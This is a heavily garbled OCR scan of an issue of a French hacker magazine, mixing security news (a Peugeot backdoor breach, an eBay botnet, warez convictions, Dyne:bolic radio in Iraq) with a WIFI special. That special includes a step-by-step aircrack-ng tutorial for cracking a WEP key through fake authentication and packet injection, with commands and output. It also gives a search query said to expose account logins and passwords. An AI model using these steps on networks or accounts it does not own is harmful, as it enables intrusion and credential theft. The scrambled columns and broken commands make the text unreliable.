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Lamer (‘lae'mt) _
Aspirant cracker, aux capacités et connaissances informatiques limitées,
souvent maladroit et disposé a mener des actions douteuses et nuisibles.
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Un numéro exceptionnel!

ACKER
Ell\.nlaga_zn -

Vous avez été nombreux a nous contacter pour la version enrichie
de Hacker News Magazine et ses sujets d’intérét plus grand public
que de part le passé. Nous espérions faire une amélioration discréte
et transparente pour notre communauté de lecteurs, le moins que l'on
puisse dire c’est que ce ne fut pas si invisible que cela ! Nous con-
tinuons donc dans cet optique tout en n'oubliant pas I'aspect tech-
nique indispensable pour que tout le monde s’y retrouve. Merci en
tout cas a vos nombreux emails d’encouragements.

Pour ce numéro, vous ne serez pas dégu car l'actualité a eté plus
qu’intéressante ces derniéres semaines. Les problemes liés ala cou-
pe du monde de Rugby ou de Peugeot, l'initiative remarquable de
Dyne:Bolic en Irak ou notre dossier spécial WIFI, autant de sujets

au coeur de l'actualité | Ce dernier vous permettra d’ailleurs plus

loin dans la compréhension des principales méthodes de pénétra-
tion des hackers ou pirates sur les réseaux sans fil. Un double sujet
scindé en deux articles qui vous don-
nera une approche complete méme si
cela n’est pas toujours facile. Surprise
!l de ce numéro, le logiciel qu’utili-
% sait le FBI pour surveiller le réseau,
une exclue que vous ne trouverez nul
part ailleurs...

Dans la méme veine, un dossier
sur I'encryptage pour ma-
squer ses fichiers person-
nels, que se soit a la mai-
son ou au bureau, toujours
s bien pratique pour pre-
server son intimité des
regards indiscrets. Vous
pourrez aussi découvrir
la guerre entre Sony
et les Crackers, com-
ment donner une se-
conde vie a son vieux
décodeur satellite,
v/ les dangers qui guettent
le Pentagone, un article
sur un logiciel gratuit de
biométrie, 0 DAY le saint
graal des experts en sécurité
etc. etc. Bref de quoi vous oc-
cuper et vous passionner au
fil des pages !

La rédaction
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SEGURITY UPDATE

la finale

S invile &

0e [a coupe du monde de Rughy

n internaute a mis la main,

quelques jours avant la cou-

pe du monde de Rugby, sur

un acces qui a donné des
sueurs froide a I'un des partenai-
res de la grande messe du rugby, le
constructeur automobile Peugeot.
Via un moyen electronique de type
backdoor, une porte cachée, le cu-
rieux a réussi a acceder a un espa-
ce qui aurait pu lui permettre de ré-
cupérer des places VIP pour I'un des
matchs de la coupe du monde. Com-
me le montre les captures d’écrans,
des billets pour le match d'ouverture
France-Irlande, les 1/4 de finale ain-
si que pour la finale du 20 octobre
au stade de France. D'aprés les cap-
tures écrans que nous a fourni cet
internaute, il a su intercepter I'en-
semble des identités, courriels, login

by s Wal A

et mots de passe.

Peugeot a bien confirmé, en gringant
des dents, cette visite numérique en
affirmant, cependant, qu'il aurait été
impossible aux pirates d’accéeder aux
billets. “Nous avons des protoco-
les qui font gu'il était impossible de
s'octroyer le moindre billet sans no-
tre intervention”.
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. Ce pirate a employé une
backdoor php du nom
de “N3tShell.SQL

v. Emp3ror

Undetectable”, un logiciel russe par-
ticulierement utilisé par les pirates in-
formatiques de la planéte web. La ba-
se de données (1.5 Mo) contenaient
les mels, les identités, les mots de
passe d'une centaine de personnes
de chez PSA, Peugeot, mais aussi de
partenaires comme Microsoft, Fran-
ce 3, du stade Toulousain, ...
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VIRUS POUR
ebY

Un code malicieux utilise un
réseau d’ordinateurs zom-
bis (bots) pour s’attaquer aux
comptes des clients eBay. La
mission des machines piratées,
utiliser leur puissance informati-
que pour participer a un brute for-
ce des comptes eBay. Le brute
force recherche les mots de pas-
se des comptes clients en égrai-
nant, une par une, les possibilités.
Plus il y a de machine, plus I'égrai-
nage des mots de passe se fait ra-
pidement. L'attaque a été annon-
cée par I'éditeur Israélien Aladdin.
Elle aurait durée une semaine via
trois cents ordinateurs.

Jous connaissez Google Earth ? Vous

allez adorer le Maps Live de Micro-

soft. La carte mondiale éfectronique du géant

 Redmond a mis en ligne, il y a quelques

nes, une photographie « secrate »,
18me sans rendre compte. Le clicher
-marin USS Virginia, 'un des




La justice américaine vient de sanction-
ner un fournisseur de contrefagcons nu-
mériques, une téte de pont dans le milieu

du warez, les professionnels de la copie
(Divx, Mp3, ...) Eli El, 40 ans, originai-
re'de I'Etat de I'lllinois possédait I'acces

n internaute francais a mis en li- 3 ) 3 a plusieurs
gne un outil de sa conception du s ; e D s i - | espaces de
nom de Downspeeder. Ce logiciel uti- ' ENNE. WY = stockage,
lise le protocole FXP, ce qui permet _ sous forme de
des téléchargements rapide de vos fi- ) FTP, dont un du
chiers par le simple transfert direct : - nom' de “The Ether Net”.

de serveur a serveur. Downspeeder : y | Aprés quinze mois d'enquéte, I'U.S.
est gratuit, efficace. Downspeeder a f| Immigration and Customs Enforce-
été développé sur des bases notam- ment lui a mis la main dessus. Aprés
ment celles du célébre logiciel Rapi- /] avoir plaidé coupable devant le juge
dleech. Ce qui différencie Downspee- en charge de son cas, il vient d'éco-
der de ses concurrents, c'est qu'il pos- per d'une peine de trente de mois de prison ferme.

séde une interface francaise et trés Il lui a été reproché d’avoir permis la distribution de prés de 20.000
design ainsi qu'un support en ligne copies différen-
et bientdt 'intégration du streaming. e tes. |l aurait été
http://www.downspeeder.fr/ = 4 ' 128 l'un des diffuseurs
' 5 de la scéne warez
US. EL est le 12e
individu a étre jugé
et condamné a la
suite de l'opération
Safehaven, une ac-
tion de la police et
des services se-
crets americains,
en avril 20083.

navires sont cachés, le clicher de Maps Live MiCI'OS Oﬂ, F[] NC“’U NNA PR’E ﬂE P DU'CE

montre cette partie pourtant ultra confiden-
tielle chez les militaires.

cott McCausland, 26 ans, connu sur Internet sous le pseu-

donyme de skOt, va étre surveillé par son ordinateur. McCau-
sland était un pirate, il avait diffusé sur le réseau des réseaux une co-
pie du troisiéme opus de la saga Star war. Arrété en 2005, le pirate
vient d'étre condamné a cinq mois de prison avec sursit. Le tribunal
lui impose de travailler et d'utiliser Windows car un espiogiciel légal
sera installé dans sa machine afin de surveiller ses téléchargements.
McCausland indique, sur son blog, ne pas avoir 'argent pour acheter
un Windows “Xp ou Vista". Scott McCausland avait été arrété en 2005
par le FBI. Il était 'administrateur du portail EliteTorrents.

[ p 3] [ hackernewsmagazine
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GOOGLE HEART

h bien oui, a lintérieur du pro-

gramme se cache un simula-
teur de vol, mais son moteur est
vraiment pas mal. Pour le faire dé-
marrer il faut avoir Google Heart 4.2,
démarrer le programme, cliquer sur
le monde et appuyer sur Ctrl Alt A
sur Windows ou Command Option
A sur Mac. A partir de 13, vous pour-
rez choisir entre piloter un jet F-16
ou un avion de tourisme SR22. Vo-
tre voyage peut partir de 27 aéro-
ports dans le monde entier. Les
vues d’'en haut sont execellentes
grace aux cartes des satellites du
méme programme et piloter l'avion,
apres un peu d'expérience, devien-
dra amusant et assez facile.

[p 6 1_[ hackernewsmagazine ]
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Un chauffard ameéricain du Minessota a été ar-
rété par la police pour une vitesse excessive au
volant de son bolide. Le conducteur est alors invi-
té a souffler dans I'éthylotest tendu par le “cops”.
Il va étre découvert un taux d'alcool plus impor-
tant qu'autorise. Bilan,

direction la prison. Pour

sa défense, le chauffeur

a demandeé au juge de

pouvoir analyser le code

source de I'appareil qui

a détecté son ivresse. Le

“comigque” veut prouver

que le materiel de la poli-

ce a tout simplement plan-

té lors du test. En 2005,

la défense d'un autre au-

tomobiliste ivre, originaire

cette fois de I’Etat de Flori-

de, avait pu examiner le co-

de source d'un autre appa-

reil pour tenter de se défen-

dre. Le tribunal lui doublera

sa peine de prison.




L’éditeur de jeux vidéo Bliz-

zard Entertainment a eu '
de la visite jeudi 6 septem- |

bre. Vers 22 heures, un pira-

te a modifié deux sites de I'edi-

““ I]"Im[ “HAH[ n I_AS“"[ L . @ tour de jeux vidéo Blizzard. Le

pirate informatique, un jeune al-

“[ n n I.IH [:Hnssﬂln I][ FI“A'I'[S : gérien qui se fait appeler sur le

“ - : réseau des réseaux “Le Hac-
keur” a rajouté une téte de mort
sur les pages warcraft.net et
battle.net, deux sites sur le mé- &
me serveur. Le pirate a rajouté
des messages politiques contre
les américains et Israél.

I p 11 [ hackernewsmagazine i
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vne:hﬁtic-est un software Rasta.
A savoir, comme le dit le manifeste

Rasta que vous pouvez lire a l'adresse

suivante : http:/rastasoft.org/resistan-
ce.txt. un outil de la résistance numeri-
que dans un capharnaiim mondial qui
tente de contrdler toute forme de com-
munication et la fagon de régir le parta-

‘ge d'idées et de connaissances.

Le software Rasta souhaite s'imposer
en tant qu'antagoniste et libérateur face

aux softwares payants.




Unjour, ily a quel-
gue temps, Van der Spek invite, dans un
attique d'Amsterdam, Cecile Landman, un
journaliste freelance allemand, Geert Lo-
vink, un theoricien des medias et web de-
signer ainsi gu'un autre activiste de la ra-
dio denomme Michel. Nos 4 comperes,
apres avoir tiré profit d'une precedente ex-
périence de Van der Spek du temps de la

guerre en ex-Yougoslavie, htp://helpb92. .

xsdall.nl, décident alors de se repartir en
deux groupes : I'un prét a pariir en Irak,
de facon a distribuer les outils directement
sur place, aupres de la population souhai-
tant s'exprimer librement. Lautre & Amster-
dam en liaisen constante, en tant que sup-
port technique et journalistique.

: - Car en territoire de guer-
re, comme on peut facilement limaginer,
le réseau existe mais fonctionne par a-
coups. Malgré les difficultés, la premie-
re emission est toutefois parvenue a tou-
cher une bonne partie de la population et
le reste du monde, avec des informations
en provenance directe des survivanis du
fameux massacre de mars 1988 qui, en
Occident, a presgue été passé sous si-
lence, alors que des milliers de person-
nes etaient concernees, mortes en l'es-
pace de guelgues minutes, a cause d'une
attague chimique monstrueuse ordonnee

par Saddam Hussein contre la petite vil-
le d'Halabja. Et c'est justement dans cette
ville et en faisant temoigner les survivants,
que notre equipe de hackers a installe la
premiere station radio libre irakienne dans
un commerce d'Halabja. Mais, c'est aus-
si et avant tout la premiére emission libre
digne de ce nom ayant franchi les frontie-
res irakiennes.

le festival Merbed
Poetry de Basra, que Saddam avait pour
habitude d'utiliser pour ses objectifs politi-
gues. Un festival transforme apres linva-
sion americaine, en “féte de la liberation”,
un moment de renconire et d'union entre
familles et vieux amis, mais aussi de libre
expression artistique. C'est ici qu'est né
le premier LUG, ou plutét FILUG, a savoir
I'iraqi Linux Users Group, fonde par Bas-
sam Hassan qui a ainsi eu l'occasion de
rencontrer egalement Van der Spek. En-
semble, ils se sont mis a réver d'une sta-
tion radio, détachée de tout parti, ethnie et
religion et capable de mettre sur pieds des
projets de formation sur |'utilisation de Dy-
ne: bolic, en créant des classes clandesti-
nes dans les chambres d'hotels des villes
irakiennes. But de l'opération ? Propager
au sein de la population 'usage des outils
utiles & la création de radios couvrant la
totalité du territoire. Au départ, ils ne sont
que 8 : la premiere classe prend forme !

On y enseigne les principales comman-

des de Linux, l'utilisation de la distribu-
tion fournie sur CD, l'utilisation d'/Audacity
pouir créer des streaming audio de quali-
té. Lexpérience se poursuit, mais ne dure
pas bien longtemps...

' pour ne citer gue ceux
dont on entend le plus parler, penche
davantage en faveur des bloggers que
des radios activistes. La diffusion en

® ([ HACKING
......... - i

streaming donne davantage dinten-
site aux evénements dans ces lieux
reculés du monde, méme si elle n'est
pas encore assez efficace et reste a
sens unigue. Tandis gue, comme le dit
un blogger Afghan qui se connecte re-
gulierement au site de Streamtime, “je
me connecte regulierement et j'utilise
toujours les nouveaux liens publiés sur
le site. Pour moi, c'est comme avoir une
fenétre ouverte sur le monde des blog-
gers irakiens et iraniens”. Un bel exem-
ple de réciprocité, pour entamer des
rapporis fraternels entre les peuples
qui, vu de loin, semblent se faire atten-
dre. Mais les peuples et le reseau, se-
ront-ils également capables de renver-
ser tout pouvoir oppressant ?

| DYNE:BOLIC SUR
TOUT SUPPORT

Si vous possédez un ordinateur ob-
solete, par exemple un Pentium
1 ou un PG avec 64 Mo de ram et un
CD Rom Ide, ou juste une console
Xbox modifiée, vous pouvez installer
Dyne:bolic. Ou plutdt, vous pouvez
I'utiliser, car il ne nécessite vraiment
aucune installation.Autre caracteristi-
que fantastique : a possibilité de mettre
en cluster plusieurs systemes entre eux,
en augmentant la capacité de ressour-
ces de calcul méme si toutes les machi-
nes sont de conception ancienne.Dans
la pratique, elle permet a tous les ordi-
nateurs de faire tourner le systeme sur
le méme réseau local, de fagon a répar-
tir la puissance de chaque GPU, en fai-
sant migrer les processus de la machi-
ne qui travaille le plus vers celle qui tra-
vaille e moins. Un principe qui permet
ggalement de développer le traitement
multiprocesseur sur des systémes len-
is en soi.Le cluster s'active chaque fois
que vous lancez les systemes, par le biais
d'un systeme d'autodétection des neeuds
du réseau, en rendant donc e processus
totalement automatigue. Linformatique
répartie de Dyne:balic est possible grace
a un patch destiné au kernel, developpé
dans le cadre d'un autre projet, Openivio-
six, dont vous trouverez de plus amples
informations a 'adresse suivante :

http://openmosix.sourceforge.net

[p 91 _[ hackernewsmagazine 1




SPECGIAL WIFI

' /

ravo a Erik Tews, Ralf-Philipp

Weinmann et Andrei Pyshkin

de I'Université de Darmstadt,

en Allemagne. lIs sont parve-
nus a lancer une attaque contre le pro-
tocole WEP, capable de récupérer une
clé WEP de 104 bit avec 40 000 frames
seulement et un taux de réussite de 50
%. Si les frames (ces paguets transmis
dans un réseau wireless) grimpent a
85 000, la probabilité de succés atteint
alors 95 %. L'amélioration par rapport
aux techniques de cracking deja con-
nues est déconcertante, dans la mesu-
re ol le nombre de frames nécessaires
peut étre obtenu en I'espace d'une mi-
nute (soit quelques secondes de plus
gu'un arrét a un feu) pour capter le re-
seau avec un bon ordinateur.

: Au ceeur du WEP

Wired Equivalent Privacy (protoco-
le d'échange sécurisé) est un pro-
tocole de chiffrage des paquets qui
transitent sur des réseaux wireless
802.11. Bien gue le protocole alternatif
Wi-Fi Protected Access (WPA), bien plus

p 10 1 [ hackernewsmagazine

Moins d'une
INUTE

la toute nouvelle technique o'attaque a a0 7
" (e chanee de cracker un réseau Wireless &

[bspace d'une minute. Incroyable
Non, juste du hacking au plus haut niveal

robuste, soit disponible depuis long-
temps, le WEP reste toujours tres utili-
sé, notamment pour les anciennes base
d'accés non mises a jour.

Dans un réseau protégé par le WEP, tou-
tes les stations partagent une cle d'ac-
cés, appelée root key (Rk). Ceux qui la
trouvent ont libre accés au réseau. Les
données sont protégées par un ICV (In-

tegrity Check Value, valeur de control
dintégrité) afin de ne pas étre endomma
gées. Un IV (Initialization Vector, vecte
d'initialisation) de 24 bit est choisi po
chaque paquet en transit. Toujours po
chaque paquet et pour son ICV, une cl
K est générée avec l'opération logiqu
IVl Rk. La clé K est utilisée avec lacle d
chiffrement RC4 pour géneérer le paqug
final qui est mis en transit (le frame).

KEY SETUP

oici I'algorithme de génération d'une clé RC4, en pseudo-code. uui est capable
de le programmer dans un langage quelconque ?

for i = 0 to 255 do
s[ &1 =i

to 255 do

wap(s, 1 3.9

HF Wwo=1o0uUuweQNnH

j+S[il+K[i mod len(K)] mod 256



| 802.11 Header

Initialization vector (IV) | Destination address |

Logical Link Control
Subnetwork Access Protocol Header

Integrity Check Value

- | -Plaintext
|

iLEncrypted using
| RC4(IV || RK)

@ Un frame 802.11 codé en utilisant le WEP. La ¢lé a découvrir est celle générée par I'0R
logigue entre le vecteur d'initialisation (IV) et Ia root key (Rk)

:: Au tour de RC4

RC4 a été inventé par Ron Rivest de
RSA Security en 1987 et a été tenu se-
cret jusqu'en 1994, époque ou l'algo-
rithme a été publié anonyme-
ment sur Internet. La cle
de chiffrement RC4 pos-
sede un etat interne : un
array de 256 bytes qui
définit une permutation et
deux chiffres entiers, i et j,
faisant office de pointeurs
dans l'array et dont la valeur
va de 0 a 255.

La préparation d'une clé RC4 initialise
I'état interne en utilisant une clé K, qui
peut atteindre jusqu'a 256 bytes et le
brouille a volonté. L'algorithme de gé-
neration du flux de clés RC4 met a jour
I'état interne et génére un seul byte de
flux de clés a la fois. Le flux de clés est
croisé avec le texte en clair par XOR
pour générer la clé de chiffrement.

:: Attagues sur attagues

La premiére attaque lancée contre
RC4 et couronnée de succeés survint
en 2001. Aux commandes : Scott
R. Fluhrer, Itsik Mantin et Adi Sha-
mir. Un autre trio (Adam Stubbelfield,
John loannidis et Aviel
—— D. Rubin) a con-
firmé son ef-
ficaciteé con-
tre le WEP.
T w Seul be-
. mol, 'atta-

e gue néces-
i, sitait entre
quatre et
six millions
de vecteurs
d'initialisa-

tion. En 2004, un hacker du nom de Ko-
ReK a reduit le nombre de paguets entre
0,5 et 2 millions. Cette annee, Andreas
Klein a publie la démonstration pratique
d'une attaque encore plus effica-
ce que toutes celles dont il s'était
rendu précédemment respon-
sable. Tews, Weinmann et
Pyshkin sont partis du tra-
vail de Klein et ont exploi-
té certaines des nou-
velles fonctions d'injec-
tion de code présentes au
sein du software BSD-Airtools
(http://snipurl.com/1g7i9), écrit pour
FreeBSD, NetBSD et OpenBSD. Le ré-
sultat s'est révélé particulierement inté-
ressant. En effet, il semble que 40 000
paquets explores aient produit 50 % de
probabilité. Avec 85 000 paquets, on ar-
rive a 95 %. Avec les techniques utili-
sees, 40 000 paquets sont captures en
moins d'une minute tandis que leur trai-
tement prend environ trois secondes.

25000 30000 35000 40000 45000 50000 55000 60000 65000 V0000 7SQ00  BOOC0  BS0O0
rumber of keysireams colected

@ Le taux de réussite de la nouvelle attague conire le WEP en fone-
fion du nombre de frames (paguels) capiurés avec SUccés

Le systéme de crackage
est sophistiqué et exige-
rait une dizaine de pa-
ges d'explications de-
taillees, uniguement
comprehensibles

par certaines per-
sonnes possedant

de solides bases
mathématiques.

(@29 [IT1) HACKING
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ne étude menée en Allemagne en
mars 2007 a recensé l'utilisation
du WEP sur 46,3 % des réseaux wire-
less. Un chiffre en baisse par rapport aux
59,4 % de 2006, méme s'il reste tou-
jours important. Les réseaux protégés par

WPA sont passés de 17,82 26,9 % ; 21,8 %
des réseaux (contre 23,3 % en 2006).

Le WEP est en baisse, mais presque un ré-
seau sur deux I'utilise encore. Et il est vulné-
rable a 'attague dont il est ici question.

C'est pourquoi nous nous arréterons ici.
Ceux qui souhaitent aller jusqu'au bout,
ont a leur disposition le fichier Pdf con-
tenant une description precise de l'algo-
rithme (http://snipurl.com/1g7n9) et les
outils nécessaires. Vous pouvez direc-
tement télécharger le code d'aircrack-
ptw, utilisé par les trois compéres pour
accomplir leur entreprise, sur www.cdc.
informatik.tu-darmstadt.de/aircrack-ptw/
download/aircrack-ptw-1.0.0.tar.gz (ok,
c'est un peu long !).

Si l'on s'en tient a ce qui a eté dit jus-
qu'a présent, il semblerait qu'il y ait 50
% de chance de crac-
ker un réseau et que
I'on puisse donc y pé-
netrer une fois sur
deux. Mais il en va
autrement. Chaque
réseau, chaque ten-
tative, fonctionne une
fois sur deux... mais
cette possibilité exis-
te chaque fois et donc
chague tentative peut
également échouer...
On peut etudier la question en profon-
deur ou juste y jeter un coup
d'eeil. Ce qui est sr, c'est
/ que si j'avais un réseau wi-
/  reless avec un mot de passe
/' WEP, je 'échangerai avec un
WPA sans attendre. :-)

David Nool
davenool@gmail.com
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éclats:

Gracker en WE/I]IIBS minutes:
(e liase wireless.d/la SECUNtE

"\ racker une base wireless n'est
§ pas une mince affaire. Ce tu-
f tariel, base sur un cas simple,

4 vous enselgne les bases et
vous asdera a vous familiariser avec
ces concepis. Mais pour cela, vous
devez étre capables d'agir au niveau
bas de votre ordinateur, sans oublier
d'autres points que nous aborderons
au fur et a mesure. Alors éteignez vo-
tre portable, laissez tomber le tchat
quelques minutes, et restez concen-
trés, Attention... ¢a va commencer !

.: Les conditions

On suppose qu'une série de condi-
tions sont déja remplies (attention,
fini de rigoler, on est ici en plein
hard hacking !). D'abord : vous uti-
lisez des drivers patches pour permet-
tre I'injection de paquets. Deuxiéme-
ment : vous étes assez proches de
la base pour recevoir et envoyer des
informations. Attention, car une bon-
ne distance pour la réception peut

p1i2 hackernewsmagazine

2 7 Passible avec e bon
amime ef quelgues trugs !

s'averer insuffisante pour I'émission
! La puissance de la carte wireless
est presque toujours inférieure a cel-
le de la base. Troisiemement : vous
devez utiliser aircrack-ng 0.9 ou une
version supérieure, sinon, certaines
commandes seront différentes. Enfin,
dans les exemples décrits ci-apres,
"en1" devra devenir le nom d'interfa-
ce de la carte wireless utilisée.

:: L'equipement

Les exemples montrent I'adresse MAC
et les coordonnées de I'équipement
utilisé. Il faudra trouver de fagon complé-
te et sécurisée les mémes informations
pour l'equipement dont vous disposez :
» Adresse MAC de la carte wireless du
PC sur lequel tourne aircrack-ng :
00:11:24:8c:cc:eb

* BSSID (Adresse MAC de la base wi-
reless) : 00:14:51:73:€9:17

* ESSID (nom du réseau wireless) :
winnie

» Canal de la base wireless : 2

» Interface wireless du PC : ent

Une fois cette petite recherche achevée,
VOUS pourrez vous consacrer a l'action a
proprement dit.

EN yolL

ous trouverez Aircrack-ng sur hitp://

www.aircrack-ng.org. Il a été prévu
a l'origine pour Windows et Linux ; sur
Mac 0SX, vous devrez surmonter quel-
gues petites difficultés tandis que certains
des outils de la suite doivent impérative-
ment &tre remplacés. Les utilisateurs de
Mac OSX préféreront sans doute KisMAG
(http://kismac.de/), porting Mac de Kis-
met (http://www.kismetwireless.net/).
Ajrcrack-ngestace jour 'un des meilleurs
outils pour contrdler le niveau de sécuri-
té des réseaux wireless.



:: L2 solution

Pour cracker la clé WEP d'une base,
il faut recueillir de nombreux vec-
teurs d'initialisation (initialization
vector, ou V). Le trafic normal du ré-
seau en géenere peu et cette collecte
exigerait donc pas mal de temps. Pour
accélérer la procédure, vous pouvez
utiliser l'injection, une technique qui
contraint la base a réenvoyer certains
paquets sélectionnes un grand nom-
bre de fois en peu de temps, en acce-
lérant ainsi la collecte. Voici les étapes
clé a suivre :

1. Activez le mode monitor de l'interface
wireless sur le canal spécifique.

2. Avec aireplay-ng, effectuez une
authentification factice auprés de la
base.

3. Activez airodump-ng sur le canal de
la base avec un filtre bssid et recueillez
les IV.

4. Activez aireplay-ng en mode ARP
request replay pour exécuter l'injection
de paquets.

5. Avec aircrack-ng, analysez les |V et
crackez les clés.

Etape 1 : activez le mode monitor de
l'interface wireless sur le canal spéci-
fique

Normalement, votre carte voit unique-
ment les paquets qui vous sont adres-
sés. En mode monitor, elle voit tout ce
qui tourne. Vous pouvez ainsi recon-
naitre les bons paguets pour l'injec-
tion. La premiére commande a taper,
pour éteindre l'interface réseau en fonc-
tion, est:

airmon-ng stop ent

Assurez-vous ensuite gu'aucune autre in-
terface ne soit active, avec iwconfig. Le
systeme répondra de fagon trés similai-
re aux messages ci-dessous :

lo no wireless extensions.
eth0 no wireless extensions.
wifi0 no wireless extensions.

Si d'autres interfaces sont actives, étei-
gnez-les. Avec iwconfig, assurez-vous

qu'elles soient toutes bien éteintes. Acti-
vez ensuite le mode monitor sur le canal
2 de la carte wireless :

airmon-ng start wifi0 2

Utilisez le paramétre wifi0 au lieu de ent.
Vous utiliserez ainsi les drivers patchés
madwifi-ng. Le systeme répondra par un
message du type :

Interface Chipset Driver

wifiQ Atheros

madwifi-ng

enl Atheros madwifing
{(monitor
- mode ena

bled)

VAP (parent:

wifi0)

On voit ici effectivement qu'eni est en
mode menitor. Controlez avec iwconfig.
La réponse devrait ressembler a ca :

lo no wireless extensions.
wifi0 no wireless extensions.
eth0 no wireless extensions.
enl IEEE 802.11g
ESSID:”” Nickname:""

Mode:Monitor
Frequency:2.452 GHz Access
Point: 00:11:24:8C:CC:EB

Bit Rate:0 kb/s
Tx-Power:18 dBm
Sensitivity=0/3

Retry:off RTS thr:off
Fragment thr:off

Encryption key:off

Power Management:off

‘ Link Quality=0/94
Signal level=-95 dBm Noisge
level=-95 dBm

Rx invalid nwid:0 Rx
invalid crypt:0 Rx inwvalid
frag:0 :

Tx excessive retries:0

Invalid misc:0 Missed

beacon:0

Etape 2 : Avec aireplay-ng, effectuez
une fausse authentification auprés
de la base. Une base wireless doit étre
associée a une carte. Dans le cas con-
traire, elle n'acceptera pas les paguets
que la carte lui envoie et répondra en
envoyant des paquets DeAuthentica-
tion. Aucun vecteur d'initialisation n'est
créé et I'injection échoue. Pour com-
pléter votre processus d'association a
la base, vous devrez utiliser une faus-
se authentification :

aireplay-ng -1 0 -e winnie -a
00:14:51:73:E9:17 -h
00:11:24:8C:CC:EB enl

ou -1 signifie "fausse authentifica-
tion"; 0 étant le temps de réassocia-
tion en secondes ; -a 00:14:51:73:
EQ:17 indique l'adresse MAC de la
base ; -h 00:11:24:8C:CC:EB indi-
que l'adresse MAC de la carte ; enl
est l'interface réseau de la carte. Un
message d'Association successful
indique que tout se déroule correc-
tement | Si en revanche vous voyez
aussi apparaitre un message du type
Got a deauthentication packet !, cela
signifie que quelque chose ne tour-
ne pas rond. Si la base est particu-
lierement suspicieuse, vous pouvez
essayer une commande alternative :

aireplay-ng -1 6000 -o 1 -g 10
-e winnie -a 00:14:51:73:E9:17

-h 00:11:24:8C:CC:EB enl

ol 6000 reauthentifie toutes les six
mille secondes, -0 1 envoie unique-
ment un ensemble de paquets a la
fois et -q 10 envoie des paguets keep
alive toutes les 10 secondes.

Etape 3 : activez airodump-ng sur le
canal de la base avec un filtre bssid
et collectez les IV

Ouvrez une autre fenétre de shell
pour capturer les vecteurs d'initiali-
sation, et tapez la commande :

airodump-n? -c 2 --bssid

00:14:51:73:E9:17 -w output enl

ol -c 2 est le canal, --bssid
00:14:51:73:E9:17 I'adresse MAC de
la base (supprime le trafic étranger),
-w output est le fichier de capture
généré, contenant les IV, et enl est
l'interface réseau habituelle.

@ Attention !!!

La mise en page nous a con-
traints de casser cette ligne de
code.
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Bref, des informations pas trop diffici-
les a recupeérer...

Etape 4 : activez aireplay-ng en mode
ARP request replay pour exécuter I'in-
jection de paquets

Avec cette etape, mettez aireplay-ng
en mode écoute des demandes ARP
et réinjection de ces demandes dans le
réseau. Les demandes ARP nous sont
utiles dans la mesure oll, en les redistri-
buant, la base genére un nouveau vec-
teur d'initialisation (IV) et dans la mesu-
re ou il vous en faut un grand nombre.
Quvrez un autre shell et tapez :

Dés gu'une demande ARP arrive, aire-
play-ng commence immediatement & la
réinjecter. Sur le réseau domestique, il
existe une facon trés simple de gene-
rer une demande ARP : pinguer un IP
inexistant.

Le shell avec airodump-ng devrait af-
ficher une augmentation rapide des
paquets de données, avec un grand
nombre de #/s. Selon votre configura-
tion, une donnée typique peut varier
de 100 a 1 000 paquets de données
par seconde.

Etape 5 : Avec aircrack-ng, analysez
les IV et craquez la clé

Cette étape permet d'obtenir la clé
WEP. Dans la mesure o VOUS FAIl-
TES CELA UNIQUEMENT POUR

INFOS SUR
AIRCRACK

[ hackernewsmagazine |

APPRENDRE ET NON POUR VOUS
INTRODUIRE DANS D'AUTRES RE-
SEAUX, sachez gue tout sera plus ra-
pide en utilisant une clé WEP 64 bit.

@ La capture el le crackage d'une clé ne
sont pas frés difficiles en soi

Si la clé est beaucoup plus longue, cette
opération prendra alors beaucoup plus
de temps. Ouvrez la éniéme fenétre de
shell et tapez la commande :

O Quelgues connaissaneces el un pel
t'expérience suffisent a obtenir de bons
résulfats.

ol -z demande le systeme de cracka-
ge PTW (un de ceux a disposition de air-
crack-ng) ;

-b 00:14:51:73:E9:17 sélectionne la ba-
se wireless (en option, dans la mesure ot
vous avez déja filtré les données prece-
demment ; output®.cap prend en compte
tous les fichiers qui commencent par out-
put et finissent par .cap.

Pour gagner du temps, vous pouvez
taper la commande tandis que vous
accumulez des paguets de données.
Selon la longueur de la clé et bien
d'autres variables encore, 20 000

TOO\PACK
@oNNme

CODE SECRET :

CT2AST

WWW.HACKERMAG.COM

paquets de données pourraient suff
re... jusgu'a 250 000 !ll existe un syst§
me alternatif : la methode FMS/Kore
La commande a taper est la suivante

Le nombre de paguets nécessaires
est supérieur : de 250 000 & 1,5 mil-
lion, voire plus (tout dépend de la
longueur de la clé et d'un tas
d'autres facteurs).

Comme nous |'avons vu, ce
processus relativement li-
néaire ne peut étre realisé
que si vous étes effective-
ment en possession de tout
I'équipement et des notions
nécessaires.Reste toutefois
la guestion éthique : vous
devez toujours garder en
vous ['éthique du vrai hac-
ker, pour ne jamais mal agir
ou violer une loi juste pour mener u
petite experience. Laissons ce genre d
choses aux imbéciles...!

David Mo
davenool@gmail.co




Une faille dans Ia sécurité de Google a ouvert ung porte
secréte dans le moleur de recherche du géant américain..

ermee le 15 juin dernier, cette

@ faille aurait pu étre dramati-
| gue pour le moteur de recher-
§ § che ameéricain Google. Depuis
le 29 mai dernier au moins, cette faille
permettait d'accéder & une zone privée
et sensible de Google Service, a l'adres-
se http://services.google.com:8882/ur-
Iconsole. Comme le montrent les ima-

- ges publiées ici, n'importe qui pouvait
pénétrer au cosur de I'un des serveurs,
accéder aux dossiers, afficher et téle-
charger ces codes source gui n'auraient
jamais di étre accessibles.
Une personne mal intentionnée pouvait
ainsi prendre possession du systeme et
rediriger certaines informations Ia ot el-
le le souhaitait. Mais il y a pire | Le mot
de passe présent dans l'un des fichiers
n'était composé gue de 4 chiffres et 2
lettres. La précieuse protection n'était
autre que KOOKOO : un peu léger pour
étre efficace contre des pirates munis
de programmes pour percer les mots de
passe ! Dés gu'il s'en est apercu, Goo-
gle a fermé cette porte... sans toutefois
ebruiter I'affaire.
Mais visiblement, quelgu'un d'autre s'en
est charge...
A premiéere vue, cette bréche peu ordi-
naire faisait penser a un honeyPot, un
pot de miel, un piége mis en place par
Google pour découvrir d'éventuels pi-
rates, mais l'intervention des techni-
ciens de Google et la présence des fi-
chiers disponibles dans l'un des dos-
siers ont dissipe tout doute. Lutilisateur
qui a découvert cette faille, Earlof Grey,

O Le mot de passe qui protégeait {
élait vraiment trop simple...

Google

explique que le mot de passe faisait vrai-
ment sourire, surtout pour un géant d'in-
ternet comme Google.

:: Google aide les pirates

Il existe des dizaines de comman-
des pour violer les petits secrets in-
forma es habituellement caches
dans le ). Parmi nos trouvailles : des
noms d'utilisateur et des mots de passe
de YouTube. Incroyable, il suffit de taper
la commande “site:youtube.com “clicks
from ftp @” (1) pour voir les noms d'uti-
lisateur (login) et les mots de passe du
compte fst, File Storage Technologies,
